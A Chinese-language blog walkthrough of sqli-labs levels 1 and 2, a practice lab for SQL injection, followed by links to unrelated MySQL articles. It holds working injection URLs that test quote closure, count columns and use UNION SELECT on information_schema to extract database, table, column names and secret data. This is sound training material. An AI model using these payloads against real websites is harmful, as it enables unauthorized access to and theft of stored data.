sqli-labs靶场1~2笔记

sqli-labs

Less-1

首先访问Less-1:

发现提示:"Please input the ID as parameter with numeric value"

提示可以传递参数id。

尝试使用GET请求传参。

复制代码
http://sqli-labs/Less-1/?id=1

发现成功回显用户名与密码。

1.测试是否存在注入点:

当使用单引号发生报错

复制代码
http://sqli-labs/Less-1/?id=1'

使用两个单引号时正常回显。

复制代码
http://sqli-labs/Less-1/?id=1''

可以确定该位置存在sql注入且使用单引号进行闭合。

2 爆列数(回显位)

复制代码
http://sqli-labs/Less-1/?id=1' order by 1,2,3--+
复制代码
http://sqli-labs/Less-1/?id=1' order by 1,2,3,4--+

由此可以判断出该表一共有3列。

我们也可以直接使用联合注入来判断

复制代码
http://sqli-labs/Less-1/?id=' union select 1,2,3--+

可以发现在2,3位回显的是用户名和密码,那么接下来我们就使用2或3位置查看注入出的数据。

3.爆库

复制代码
#当前库
http://sqli-labs/Less-1/?id=' union select 1,2,database()--+
复制代码
#爆所有库
http://sqli-labs/Less-1/?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

(爆出的库有差异是正常的,我数据库中的库比较多,接下来我们只需要使用security即可,这个库是sqli-labs靶场的库)

4.爆表

复制代码
#challenges库中所有表
http://sqli-labs/Less-1/?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

(注意:表名每个人是随机的。我的是2m4sx0cpn5)

5.爆列

复制代码
2m4sx0cpn5#爆challenges库中2m4sx0cpn5表中所有列名
http://sqli-labs/Less-1/?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='2m4sx0cpn5' --+

6.爆字段

复制代码
#这里就看一下challenges库中2m4sx0cpn5表中secret_NOQD列中的所有数据
http://sqli-labs/Less-1/?id=' union select 1,2,group_concat(secret_NOQD) from challenges.2m4sx0cpn5 --+

到此结束。

Less-2

这里发现提示词还是id。

这里发现还是GET传参。

1.测试是否存在注入点:

这里经过单双引号和小括号的组合后,发现该注入点是数字型。

数字型不需要闭合符号。

接下来的操作不在过多赘述与Less-1大差不差。

2 爆列数(回显位)

这里不再使用order by测列数

复制代码
http://sqli-labs/Less-2/?id=0 union select 1,2,3--+

3.爆库

复制代码
#爆所有库
http://sqli-labs/Less-2/?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

4.爆表

复制代码
#爆challenges库中所有列名
http://sqli-labs/Less-2/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

5.爆列

复制代码
#爆challenges库中2m4sx0cpn5表中所有列名
http://sqli-labs/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='2m4sx0cpn5' --+

6.爆字段

复制代码
#这里就看一下security库中users表中username列中的所有数据
http://sqli-labs/Less-2/?id=0 union select 1,2,group_concat(secret_NOQD) from challenges.2m4sx0cpn5 --+

总结

前两关的差别就是注入类型的区别,Less-1是单引号字符串,Less-2是数字型。

相关推荐
星星也在雾里5 小时前
PgBouncer 解决 PostgreSQL 连接数超限 + 可视化监控
数据库·postgresql
雨辰AI7 小时前
SpringBoot3 + 人大金仓读写分离 + 分库分表 + 集群高可用 全栈实战
java·数据库·mysql·政务
长城20247 小时前
关于MySql的ONLY_FULL_GROUP_BY问题
数据库·mysql·聚合列
常常有8 小时前
MySQL 底层执行原理:输入SQL语句到两阶段提交
数据库·sql·mysql
Mr. zhihao8 小时前
深入解析redis基本数据结构
数据结构·数据库·redis
m0_748839498 小时前
利用天正暖通CAD快速掌握风管数量统计的方法
数据库
随身数智备忘录8 小时前
什么是设备管理体系?设备管理体系包含哪些核心模块?
网络·数据库·人工智能
海市公约9 小时前
MySQL更新语句执行全流程:从Buffer Pool修改到二阶段提交
数据库·mysql·binlog·innodb·undo log·二阶段提交·update执行原理
颂love9 小时前
MySQL的执行流程
android·数据库·mysql
海市公约9 小时前
一条SQL查询的完整旅程:MySQL执行流程深度解析
sql·mysql·数据库优化·执行计划·连接器·查询缓存·sql执行原理